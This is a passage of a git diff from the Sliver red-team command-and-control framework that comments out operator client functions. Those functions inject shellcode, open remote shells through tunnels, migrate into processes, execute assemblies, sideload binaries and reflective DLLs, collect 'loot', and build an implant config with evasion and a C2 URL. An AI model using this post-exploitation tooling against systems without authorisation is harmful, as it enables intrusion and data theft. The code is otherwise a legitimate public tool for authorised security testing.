- assemblyArgs := ctx.Args.StringList("arguments")
- process := ctx.Flags.String("process")
-
- ctrl := make(chan bool)
- go spin.Until("Executing assembly ...", ctrl)
- executeAssembly, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
- Request: ActiveSession.Request(ctx),
- IsDLL: isDLL,
- Process: process,
- Arguments: strings.Join(assemblyArgs, " "),
- Assembly: assemblyBytes,
- Arch: ctx.Flags.String("arch"),
- Method: ctx.Flags.String("method"),
- ClassName: ctx.Flags.String("class"),
- AppDomain: ctx.Flags.String("app-domain"),
- })
- ctrl <- true
- <-ctrl
-
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
-
- if executeAssembly.GetResponse().GetErr() != "" {
- fmt.Printf(Warn+"Error: %s\n", executeAssembly.GetResponse().GetErr())
- return
- }
- var outFilePath *os.File
- if ctx.Flags.Bool("save") {
- outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
- outFilePath, err = ioutil.TempFile("", outFile)
- }
- fmt.Printf(Info+"Assembly output:\n%s", string(executeAssembly.GetOutput()))
- if outFilePath != nil {
- outFilePath.Write(executeAssembly.GetOutput())
- fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
- }
-
- if ctx.Flags.Bool("loot") && 0 < len(executeAssembly.GetOutput()) {
- name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(filePath))
- err = AddLootFile(rpc, name, "console.txt", executeAssembly.GetOutput(), false)
- if err != nil {
- fmt.Printf(Warn+"Failed to save output as loot: %s\n", err)
- } else {
- fmt.Printf(clearln + Info + "Output saved as loot\n")
- }
- }
-}
-
-func sideload(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.Get()
- if session == nil {
- return
- }
-
- binPath := ctx.Args.String("filepath")
-
- entryPoint := ctx.Flags.String("entry-point")
- processName := ctx.Flags.String("process")
- args := ctx.Flags.String("args")
-
- binData, err := ioutil.ReadFile(binPath)
- if err != nil {
- fmt.Printf(Warn+"%s", err.Error())
- return
- }
- ctrl := make(chan bool)
- go spin.Until(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
- sideload, err := rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
- Request: ActiveSession.Request(ctx),
- Args: args,
- Data: binData,
- EntryPoint: entryPoint,
- ProcessName: processName,
- Kill: !ctx.Flags.Bool("keep-alive"),
- })
- ctrl <- true
- <-ctrl
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
-
- if sideload.GetResponse().GetErr() != "" {
- fmt.Printf(Warn+"Error: %s\n", sideload.GetResponse().GetErr())
- return
- }
- var outFilePath *os.File
- if ctx.Flags.Bool("save") {
- outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
- outFilePath, err = ioutil.TempFile("", outFile)
- }
- fmt.Printf(Info+"Output:\n%s", sideload.GetResult())
- if outFilePath != nil {
- outFilePath.Write([]byte(sideload.GetResult()))
- fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
- }
-}
-
-func spawnDll(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- session := ActiveSession.Get()
- if session == nil {
- return
- }
- dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
- binPath := ctx.Args.String("filepath")
- processName := ctx.Flags.String("process")
- exportName := ctx.Flags.String("export")
-
- binData, err := ioutil.ReadFile(binPath)
- if err != nil {
- fmt.Printf(Warn+"%s", err.Error())
- return
- }
- ctrl := make(chan bool)
- go spin.Until(fmt.Sprintf("Executing reflective dll %s", binPath), ctrl)
- spawndll, err := rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
- Data: binData,
- ProcessName: processName,
- Args: dllArgs,
- EntryPoint: exportName,
- Request: ActiveSession.Request(ctx),
- Kill: !ctx.Flags.Bool("keep-alive"),
- })
-
- if err != nil {
- fmt.Printf(Warn+"Error: %v", err)
- return
- }
- ctrl <- true
- <-ctrl
- if spawndll.GetResponse().GetErr() != "" {
- fmt.Printf(Warn+"Error: %s\n", spawndll.GetResponse().GetErr())
- return
- }
- var outFilePath *os.File
- if ctx.Flags.Bool("save") {
- outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
- outFilePath, err = ioutil.TempFile("", outFile)
- }
- fmt.Printf(Info+"Output:\n%s", spawndll.GetResult())
- if outFilePath != nil {
- outFilePath.Write([]byte(spawndll.GetResult()))
- fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
- }
-}
-
-// -------- Utility functions
-
-func getActiveSliverConfig() *clientpb.ImplantConfig {
- session := ActiveSession.Get()
- if session == nil {
- return nil
- }
- c2s := []*clientpb.ImplantC2{}
- c2s = append(c2s, &clientpb.ImplantC2{
- URL: session.GetActiveC2(),
- Priority: uint32(0),
- })
- config := &clientpb.ImplantConfig{
- Name: session.GetName(),
- GOOS: session.GetOS(),
- GOARCH: session.GetArch(),
- Debug: true,
- Evasion: session.GetEvasion(),
-
- MaxConnectionErrors: uint32(1000),
- ReconnectInterval: uint32(60),
- PollInterval: uint32(1),
-
- Format: clientpb.OutputFormat_SHELLCODE,
- IsSharedLib: true,
- C2: c2s,
- }
- return config
-}
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2019 Bishop Fox
+
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
+
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
+
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
+
+// import (
+// "bufio"
+// "context"
+// "fmt"
+// "io"
+// "io/ioutil"
+// "log"
+// "os"
+// "path"
+// "path/filepath"
+// "strings"
+
+// "github.com/bishopfox/sliver/client/core"
+// "github.com/bishopfox/sliver/client/spin"
+// "github.com/bishopfox/sliver/protobuf/clientpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/bishopfox/sliver/protobuf/sliverpb"
+// "golang.org/x/crypto/ssh/terminal"
+
+// "github.com/desertbit/grumble"
+// )
+
+// func executeShellcode(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.GetInteractive()
+// if session == nil {
+// return
+// }
+
+// interactive := ctx.Flags.Bool("interactive")
+// pid := ctx.Flags.Uint("pid")
+// shellcodePath := ctx.Args.String("filepath")
+// shellcodeBin, err := ioutil.ReadFile(shellcodePath)
+// if err != nil {
+// fmt.Printf(Warn+"Error: %s\n", err.Error())
+// return
+// }
+// if pid != 0 && interactive {
+// fmt.Printf(Warn + "Cannot use both `--pid` and `--interactive`\n")
+// return
+// }
+// if interactive {
+// executeInteractive(ctx, ctx.Flags.String("process"), shellcodeBin, ctx.Flags.Bool("rwx-pages"), rpc)
+// return
+// }
+// ctrl := make(chan bool)
+// msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
+// go spin.Until(msg, ctrl)
+// task, err := rpc.Task(context.Background(), &sliverpb.TaskReq{
+// Data: shellcodeBin,
+// RWXPages: ctx.Flags.Bool("rwx-pages"),
+// Pid: uint32(pid),
+// Request: ActiveSession.Request(ctx),
+// })
+// ctrl <- true
+// <-ctrl
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v\n", err)
+// return
+// }
+// if task.Response.GetErr() != "" {
+// fmt.Printf(Warn+"Error: %s\n", task.Response.GetErr())
+// return
+// }
+// fmt.Printf(Info + "Executed shellcode on target\n")
+// }
+
+// func executeInteractive(ctx *grumble.Context, hostProc string, shellcode []byte, rwxPages bool, rpc rpcpb.SliverRPCClient) {
+// // Check active session
+// session := ActiveSession.Get()
+// if session == nil {
+// return
+// }
+// // Start remote process and tunnel
+// noPty := false
+// if session.GetOS() == "windows" {
+// noPty = true // Windows of course doesn't have PTYs
+// }
+
+// rpcTunnel, err := rpc.CreateTunnel(context.Background(), &sliverpb.Tunnel{
+// SessionID: session.ID,
+// })
+
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v\n", err)
+// return
+// }
+
+// tunnel := core.Tunnels.Start(rpcTunnel.GetTunnelID(), rpcTunnel.GetSessionID())
+
+// shell, err := rpc.Shell(context.Background(), &sliverpb.ShellReq{
+// Request: ActiveSession.Request(ctx),
+// Path: hostProc,
+// EnablePTY: !noPty,
+// TunnelID: tunnel.ID,
+// })
+
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v\n", err)
+// return
+// }
+// // Retrieve PID and start remote task
+// pid := shell.GetPid()
+
+// ctrl := make(chan bool)
+// msg := fmt.Sprintf("Sending shellcode to %s ...", session.GetName())
+// go spin.Until(msg, ctrl)
+// _, err = rpc.Task(context.Background(), &sliverpb.TaskReq{
+// Request: ActiveSession.Request(ctx),
+// Pid: pid,
+// Data: shellcode,
+// RWXPages: rwxPages,
+// })
+// ctrl <- true
+// <-ctrl
+
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+
+// log.Printf("Bound remote program pid %d to tunnel %d", shell.Pid, shell.TunnelID)
+// fmt.Printf(Info+"Started remote shell with pid %d\n\n", shell.Pid)
+
+// var oldState *terminal.State
+// if !noPty {
+// oldState, err = terminal.MakeRaw(0)
+// log.Printf("Saving terminal state: %v", oldState)
+// if err != nil {
+// fmt.Printf(Warn + "Failed to save terminal state")
+// return
+// }
+// }
+
+// log.Printf("Starting stdin/stdout shell ...")
+// go func() {
+// n, err := io.Copy(os.Stdout, tunnel)
+// log.Printf("Wrote %d bytes to stdout", n)
+// if err != nil {
+// fmt.Printf(Warn+"Error writing to stdout: %v", err)
+// return
+// }
+// }()
+// for {
+// log.Printf("Reading from stdin ...")
+// n, err := io.Copy(tunnel, os.Stdin)
+// log.Printf("Read %d bytes from stdin", n)
+// if err == io.EOF {
+// break
+// }
+// if err != nil {
+// fmt.Printf(Warn+"Error reading from stdin: %v", err)
+// break
+// }
+// }
+
+// if !noPty {
+// log.Printf("Restoring terminal state ...")
+// terminal.Restore(0, oldState)
+// }
+
+// log.Printf("Exit interactive")
+// bufio.NewWriter(os.Stdout).Flush()
+
+// }
+
+// func migrate(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.Get()
+// if session == nil {
+// return
+// }
+
+// pid := ctx.Args.Uint("pid")
+// config := getActiveSliverConfig()
+// ctrl := make(chan bool)
+// msg := fmt.Sprintf("Migrating into %d ...", pid)
+// go spin.Until(msg, ctrl)
+// migrate, err := rpc.Migrate(context.Background(), &clientpb.MigrateReq{
+// Pid: uint32(pid),
+// Config: config,
+// Request: ActiveSession.Request(ctx),
+// })
+// ctrl <- true
+// <-ctrl
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+// if !migrate.Success {
+// fmt.Printf(Warn+"%s\n", migrate.GetResponse().GetErr())
+// return
+// }
+// fmt.Printf("\n"+Info+"Successfully migrated to %d\n", pid)
+// }
+
+// func executeAssembly(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.Get()
+// if session == nil {
+// return
+// }
+
+// filePath := ctx.Args.String("filepath")
+// isDLL := false
+// if filepath.Ext(filePath) == ".dll" {
+// isDLL = true
+// }
+// if isDLL {
+// if ctx.Flags.String("class") == "" || ctx.Flags.String("method") == "" {
+// fmt.Printf(Warn + "Please provide a class name (namespace.class) and method\n")
+// return
+// }
+// }
+// assemblyBytes, err := ioutil.ReadFile(filePath)
+// if err != nil {
+// fmt.Printf(Warn+"%s", err.Error())
+// return
+// }
+
+// assemblyArgs := ctx.Args.StringList("arguments")
+// process := ctx.Flags.String("process")
+
+// ctrl := make(chan bool)
+// go spin.Until("Executing assembly ...", ctrl)
+// executeAssembly, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
+// Request: ActiveSession.Request(ctx),
+// IsDLL: isDLL,
+// Process: process,
+// Arguments: strings.Join(assemblyArgs, " "),
+// Assembly: assemblyBytes,
+// Arch: ctx.Flags.String("arch"),
+// Method: ctx.Flags.String("method"),
+// ClassName: ctx.Flags.String("class"),
+// AppDomain: ctx.Flags.String("app-domain"),
+// })
+// ctrl <- true
+// <-ctrl
+
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+
+// if executeAssembly.GetResponse().GetErr() != "" {
+// fmt.Printf(Warn+"Error: %s\n", executeAssembly.GetResponse().GetErr())
+// return
+// }
+// var outFilePath *os.File
+// if ctx.Flags.Bool("save") {
+// outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
+// outFilePath, err = ioutil.TempFile("", outFile)
+// }
+// fmt.Printf(Info+"Assembly output:\n%s", string(executeAssembly.GetOutput()))
+// if outFilePath != nil {
+// outFilePath.Write(executeAssembly.GetOutput())
+// fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
+// }
+
+// if ctx.Flags.Bool("loot") && 0 < len(executeAssembly.GetOutput()) {
+// name := fmt.Sprintf("[execute-assembly] %s", filepath.Base(filePath))
+// err = AddLootFile(rpc, name, "console.txt", executeAssembly.GetOutput(), false)
+// if err != nil {
+// fmt.Printf(Warn+"Failed to save output as loot: %s\n", err)
+// } else {
+// fmt.Printf(clearln + Info + "Output saved as loot\n")
+// }
+// }
+// }
+
+// func sideload(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.Get()
+// if session == nil {
+// return
+// }
+
+// binPath := ctx.Args.String("filepath")
+
+// entryPoint := ctx.Flags.String("entry-point")
+// processName := ctx.Flags.String("process")
+// args := ctx.Flags.String("args")
+
+// binData, err := ioutil.ReadFile(binPath)
+// if err != nil {
+// fmt.Printf(Warn+"%s", err.Error())
+// return
+// }
+// ctrl := make(chan bool)
+// go spin.Until(fmt.Sprintf("Sideloading %s ...", binPath), ctrl)
+// sideload, err := rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
+// Request: ActiveSession.Request(ctx),
+// Args: args,
+// Data: binData,
+// EntryPoint: entryPoint,
+// ProcessName: processName,
+// Kill: !ctx.Flags.Bool("keep-alive"),
+// })
+// ctrl <- true
+// <-ctrl
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+
+// if sideload.GetResponse().GetErr() != "" {
+// fmt.Printf(Warn+"Error: %s\n", sideload.GetResponse().GetErr())
+// return
+// }
+// var outFilePath *os.File
+// if ctx.Flags.Bool("save") {
+// outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
+// outFilePath, err = ioutil.TempFile("", outFile)
+// }
+// fmt.Printf(Info+"Output:\n%s", sideload.GetResult())
+// if outFilePath != nil {
+// outFilePath.Write([]byte(sideload.GetResult()))
+// fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
+// }
+// }
+
+// func spawnDll(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// session := ActiveSession.Get()
+// if session == nil {
+// return
+// }
+// dllArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
+// binPath := ctx.Args.String("filepath")
+// processName := ctx.Flags.String("process")
+// exportName := ctx.Flags.String("export")
+
+// binData, err := ioutil.ReadFile(binPath)
+// if err != nil {
+// fmt.Printf(Warn+"%s", err.Error())
+// return
+// }
+// ctrl := make(chan bool)
+// go spin.Until(fmt.Sprintf("Executing reflective dll %s", binPath), ctrl)
+// spawndll, err := rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
+// Data: binData,
+// ProcessName: processName,
+// Args: dllArgs,
+// EntryPoint: exportName,
+// Request: ActiveSession.Request(ctx),
+// Kill: !ctx.Flags.Bool("keep-alive"),
+// })
+
+// if err != nil {
+// fmt.Printf(Warn+"Error: %v", err)
+// return
+// }
+// ctrl <- true
+// <-ctrl
+// if spawndll.GetResponse().GetErr() != "" {
+// fmt.Printf(Warn+"Error: %s\n", spawndll.GetResponse().GetErr())
+// return
+// }
+// var outFilePath *os.File
+// if ctx.Flags.Bool("save") {
+// outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
+// outFilePath, err = ioutil.TempFile("", outFile)
+// }
+// fmt.Printf(Info+"Output:\n%s", spawndll.GetResult())
+// if outFilePath != nil {
+// outFilePath.Write([]byte(spawndll.GetResult()))
+// fmt.Printf(Info+"Output saved to %s\n", outFilePath.Name())
+// }
+// }
+
+// // -------- Utility functions
+
+// func getActiveSliverConfig() *clientpb.ImplantConfig {
+// session := ActiveSession.Get()
+// if session == nil {
+// return nil
+// }
+// c2s := []*clientpb.ImplantC2{}
+// c2s = append(c2s, &clientpb.ImplantC2{
+// URL: session.GetActiveC2(),
+// Priority: uint32(0),
+// })
+// config := &clientpb.ImplantConfig{
+// Name: session.GetName(),
+// GOOS: session.GetOS(),
+// GOARCH: session.GetArch(),
+// Debug: true,
+// Evasion: session.GetEvasion(),
+
+// MaxConnectionErrors: uint32(1000),
+// ReconnectInterval: uint32(60),
+// PollInterval: uint32(1),
+
+// Format: clientpb.OutputFormat_SHELLCODE,
+// IsSharedLib: true,
+// C2: c2s,
+// }
+// return config
+// }
diff --git a/client/command/updates.go b/client/command/updates.go
index 0d504281c5..cc9c78b8d8 100644
--- a/client/command/updates.go
+++ b/client/command/updates.go
@@ -1,299 +1,299 @@
package command
-/*
- Sliver Implant Framework
- Copyright (C) 2019 Bishop Fox
+// /*
+// Sliver Implant Framework
+// Copyright (C) 2019 Bishop Fox
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
+// This program is free software: you can redistribute it and/or modify
+// it under the terms of the GNU General Public License as published by
+// the Free Software Foundation, either version 3 of the License, or
+// (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
+// This program is distributed in the hope that it will be useful,
+// but WITHOUT ANY WARRANTY; without even the implied warranty of
+// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+// GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see .
-*/
+// You should have received a copy of the GNU General Public License
+// along with this program. If not, see .
+// */
-import (
- "context"
- "crypto/tls"
- "fmt"
- "io"
- "io/ioutil"
- "log"
- "net"
- "net/http"
- "net/url"
- "os"
- "os/user"
- "path"
- "path/filepath"
- "runtime"
- "strconv"
- "strings"
- "time"
+// import (
+// "context"
+// "crypto/tls"
+// "fmt"
+// "io"
+// "io/ioutil"
+// "log"
+// "net"
+// "net/http"
+// "net/url"
+// "os"
+// "os/user"
+// "path"
+// "path/filepath"
+// "runtime"
+// "strconv"
+// "strings"
+// "time"
- "github.com/AlecAivazis/survey/v2"
- "github.com/bishopfox/sliver/client/assets"
- "github.com/bishopfox/sliver/client/version"
- "github.com/bishopfox/sliver/protobuf/commonpb"
- "github.com/bishopfox/sliver/protobuf/rpcpb"
- "github.com/bishopfox/sliver/util"
- "github.com/cheggaaa/pb/v3"
- "github.com/desertbit/grumble"
-)
+// "github.com/AlecAivazis/survey/v2"
+// "github.com/bishopfox/sliver/client/assets"
+// "github.com/bishopfox/sliver/client/version"
+// "github.com/bishopfox/sliver/protobuf/commonpb"
+// "github.com/bishopfox/sliver/protobuf/rpcpb"
+// "github.com/bishopfox/sliver/util"
+// "github.com/cheggaaa/pb/v3"
+// "github.com/desertbit/grumble"
+// )
-const (
- lastCheckFileName = "last_update_check"
-)
+// const (
+// lastCheckFileName = "last_update_check"
+// )
-func updates(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- verboseVersions(ctx, rpc)
+// func updates(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// verboseVersions(ctx, rpc)
- timeout := time.Duration(ctx.Flags.Int("timeout")) * time.Second
+// timeout := time.Duration(ctx.Flags.Int("timeout")) * time.Second
- insecure := ctx.Flags.Bool("insecure")
- if insecure {
- fmt.Println()
- fmt.Println(Warn + "You're trying to update over an insecure connection, this is a really bad idea!")
- confirm := false
- prompt := &survey.Confirm{Message: "Recklessly update?"}
- survey.AskOne(prompt, &confirm)
- if !confirm {
- return
- }
- confirm = false
- prompt = &survey.Confirm{Message: "Seriously?"}
- survey.AskOne(prompt, &confirm)
- if !confirm {
- return
- }
- }
+// insecure := ctx.Flags.Bool("insecure")
+// if insecure {
+// fmt.Println()
+// fmt.Println(Warn + "You're trying to update over an insecure connection, this is a really bad idea!")
+// confirm := false
+// prompt := &survey.Confirm{Message: "Recklessly update?"}
+// survey.AskOne(prompt, &confirm)
+// if !confirm {
+// return
+// }
+// confirm = false
+// prompt = &survey.Confirm{Message: "Seriously?"}
+// survey.AskOne(prompt, &confirm)
+// if !confirm {
+// return
+// }
+// }
- proxy := ctx.Flags.String("proxy")
- var proxyURL *url.URL = nil
- var err error
- if proxy != "" {
- proxyURL, err = url.Parse(proxy)
- if err != nil {
- fmt.Printf(Warn+"%s", err)
- return
- }
- }
+// proxy := ctx.Flags.String("proxy")
+// var proxyURL *url.URL = nil
+// var err error
+// if proxy != "" {
+// proxyURL, err = url.Parse(proxy)
+// if err != nil {
+// fmt.Printf(Warn+"%s", err)
+// return
+// }
+// }
- client := &http.Client{
- Timeout: timeout,
- Transport: &http.Transport{
- Dial: (&net.Dialer{
- Timeout: timeout,
- }).Dial,
- TLSHandshakeTimeout: timeout,
- Proxy: http.ProxyURL(proxyURL),
- TLSClientConfig: &tls.Config{
- InsecureSkipVerify: insecure,
- },
- },
- }
+// client := &http.Client{
+// Timeout: timeout,
+// Transport: &http.Transport{
+// Dial: (&net.Dialer{
+// Timeout: timeout,
+// }).Dial,
+// TLSHandshakeTimeout: timeout,
+// Proxy: http.ProxyURL(proxyURL),
+// TLSClientConfig: &tls.Config{
+// InsecureSkipVerify: insecure,
+// },
+// },
+// }
- fmt.Printf("\nChecking for updates ... ")
- prereleases := ctx.Flags.Bool("prereleases")
- release, err := version.CheckForUpdates(client, prereleases)
- fmt.Printf("done!\n\n")
- if err != nil {
- fmt.Printf(Warn+"Update check failed %s", err)
- return
- }
+// fmt.Printf("\nChecking for updates ... ")
+// prereleases := ctx.Flags.Bool("prereleases")
+// release, err := version.CheckForUpdates(client, prereleases)
+// fmt.Printf("done!\n\n")
+// if err != nil {
+// fmt.Printf(Warn+"Update check failed %s", err)
+// return
+// }
- if release != nil {
- saveTo, err := updateSavePath(ctx)
- if err != nil {
- fmt.Printf(Warn+"%s\n", err)
- return
- }
- updateAvailable(client, release, saveTo)
- } else {
- fmt.Printf(Info + "No new releases.\n")
- }
- now := time.Now()
- lastCheck := []byte(fmt.Sprintf("%d", now.Unix()))
- appDir := assets.GetRootAppDir()
- lastUpdateCheckPath := path.Join(appDir, lastCheckFileName)
- err = ioutil.WriteFile(lastUpdateCheckPath, lastCheck, 0600)
- if err != nil {
- log.Printf("Failed to save update check time %s", err)
- }
-}
+// if release != nil {
+// saveTo, err := updateSavePath(ctx)
+// if err != nil {
+// fmt.Printf(Warn+"%s\n", err)
+// return
+// }
+// updateAvailable(client, release, saveTo)
+// } else {
+// fmt.Printf(Info + "No new releases.\n")
+// }
+// now := time.Now()
+// lastCheck := []byte(fmt.Sprintf("%d", now.Unix()))
+// appDir := assets.GetRootAppDir()
+// lastUpdateCheckPath := path.Join(appDir, lastCheckFileName)
+// err = ioutil.WriteFile(lastUpdateCheckPath, lastCheck, 0600)
+// if err != nil {
+// log.Printf("Failed to save update check time %s", err)
+// }
+// }
-// GetLastUpdateCheck - Get the timestap of the last update check, nil if none
-func GetLastUpdateCheck() *time.Time {
- appDir := assets.GetRootAppDir()
- lastUpdateCheckPath := path.Join(appDir, lastCheckFileName)
- data, err := ioutil.ReadFile(lastUpdateCheckPath)
- if err != nil {
- log.Printf("Failed to read last update check %s", err)
- return nil
- }
- unixTime, err := strconv.Atoi(string(data))
- if err != nil {
- log.Printf("Failed to parse last update check %s", err)
- return nil
- }
- lastUpdate := time.Unix(int64(unixTime), 0)
- return &lastUpdate
-}
+// // GetLastUpdateCheck - Get the timestap of the last update check, nil if none
+// func GetLastUpdateCheck() *time.Time {
+// appDir := assets.GetRootAppDir()
+// lastUpdateCheckPath := path.Join(appDir, lastCheckFileName)
+// data, err := ioutil.ReadFile(lastUpdateCheckPath)
+// if err != nil {
+// log.Printf("Failed to read last update check %s", err)
+// return nil
+// }
+// unixTime, err := strconv.Atoi(string(data))
+// if err != nil {
+// log.Printf("Failed to parse last update check %s", err)
+// return nil
+// }
+// lastUpdate := time.Unix(int64(unixTime), 0)
+// return &lastUpdate
+// }
-func verboseVersions(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
- clientVer := version.FullVersion()
- serverVer, err := rpc.GetVersion(context.Background(), &commonpb.Empty{})
- if err != nil {
- fmt.Printf(Warn+"Failed to check server version %s", err)
- return
- }
+// func verboseVersions(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) {
+// clientVer := version.FullVersion()
+// serverVer, err := rpc.GetVersion(context.Background(), &commonpb.Empty{})
+// if err != nil {
+// fmt.Printf(Warn+"Failed to check server version %s", err)
+// return
+// }
- fmt.Printf(Info+"Client %s - %s/%s\n", clientVer, runtime.GOOS, runtime.GOARCH)
- clientCompiledAt, _ := version.Compiled()
- fmt.Printf(" Compiled at %s\n", clientCompiledAt)
- fmt.Printf(" Compiled with %s\n\n", version.GoVersion)
+// fmt.Printf(Info+"Client %s - %s/%s\n", clientVer, runtime.GOOS, runtime.GOARCH)
+// clientCompiledAt, _ := version.Compiled()
+// fmt.Printf(" Compiled at %s\n", clientCompiledAt)
+// fmt.Printf(" Compiled with %s\n\n", version.GoVersion)
- fmt.Println()
- fmt.Printf(Info+"Server v%d.%d.%d - %s - %s/%s\n",
- serverVer.Major, serverVer.Minor, serverVer.Patch, serverVer.Commit,
- serverVer.OS, serverVer.Arch)
- serverCompiledAt := time.Unix(serverVer.CompiledAt, 0)
- fmt.Printf(" Compiled at %s\n", serverCompiledAt)
-}
+// fmt.Println()
+// fmt.Printf(Info+"Server v%d.%d.%d - %s - %s/%s\n",
+// serverVer.Major, serverVer.Minor, serverVer.Patch, serverVer.Commit,
+// serverVer.OS, serverVer.Arch)
+// serverCompiledAt := time.Unix(serverVer.CompiledAt, 0)
+// fmt.Printf(" Compiled at %s\n", serverCompiledAt)
+// }
-func updateSavePath(ctx *grumble.Context) (string, error) {
- saveTo := ctx.Flags.String("save")
- if saveTo != "" {
- fi, err := os.Stat(saveTo)
- if err != nil {
- return "", err
- }
- if !fi.Mode().IsDir() {
- return "", fmt.Errorf("'%s' is not a directory", saveTo)
- }
- return saveTo, nil
- }
- user, err := user.Current()
- if err != nil {
- return os.TempDir(), nil
- }
- if fi, err := os.Stat(filepath.Join(user.HomeDir, "Downloads")); !os.IsNotExist(err) {
- if fi.Mode().IsDir() {
- return filepath.Join(user.HomeDir, "Downloads"), nil
- }
- }
- return user.HomeDir, nil
-}
+// func updateSavePath(ctx *grumble.Context) (string, error) {
+// saveTo := ctx.Flags.String("save")
+// if saveTo != "" {
+// fi, err := os.Stat(saveTo)
+// if err != nil {
+// return "", err
+// }
+// if !fi.Mode().IsDir() {
+// return "", fmt.Errorf("'%s' is not a directory", saveTo)
+// }
+// return saveTo, nil
+// }
+// user, err := user.Current()
+// if err != nil {
+// return os.TempDir(), nil
+// }
+// if fi, err := os.Stat(filepath.Join(user.HomeDir, "Downloads")); !os.IsNotExist(err) {
+// if fi.Mode().IsDir() {
+// return filepath.Join(user.HomeDir, "Downloads"), nil
+// }
+// }
+// return user.HomeDir, nil
+// }
-func hasAnySuffix(assetFileName string, suffixes []string) bool {
- for _, suffix := range suffixes {
- if strings.HasSuffix(assetFileName, suffix) {
- return true
- }
- }
- return false
-}
+// func hasAnySuffix(assetFileName string, suffixes []string) bool {
+// for _, suffix := range suffixes {
+// if strings.HasSuffix(assetFileName, suffix) {
+// return true
+// }
+// }
+// return false
+// }
-func findAssetFor(prefix string, suffixes []string, assets []version.Asset) *version.Asset {
- for _, asset := range assets {
- downloadURL, err := url.Parse(asset.BrowserDownloadURL)
- if err != nil {
- continue
- }
- assetFileName := filepath.Base(downloadURL.Path)
- if strings.HasPrefix(assetFileName, prefix) && hasAnySuffix(assetFileName, suffixes) {
- return &asset
- }
- }
- return nil
-}
+// func findAssetFor(prefix string, suffixes []string, assets []version.Asset) *version.Asset {
+// for _, asset := range assets {
+// downloadURL, err := url.Parse(asset.BrowserDownloadURL)
+// if err != nil {
+// continue
+// }
+// assetFileName := filepath.Base(downloadURL.Path)
+// if strings.HasPrefix(assetFileName, prefix) && hasAnySuffix(assetFileName, suffixes) {
+// return &asset
+// }
+// }
+// return nil
+// }
-func serverAssetForGOOS(assets []version.Asset) *version.Asset {
- suffixes := []string{fmt.Sprintf("_%s.zip", runtime.GOOS), runtime.GOOS}
- if runtime.GOOS == "darwin" {
- suffixes = []string{"_macos.zip", "_macos"}
- if runtime.GOARCH == "arm64" {
- suffixes = []string{"_macos-arm64.zip", "_macos-arm64"}
- }
- }
- prefix := "sliver-server"
- return findAssetFor(prefix, suffixes, assets)
-}
+// func serverAssetForGOOS(assets []version.Asset) *version.Asset {
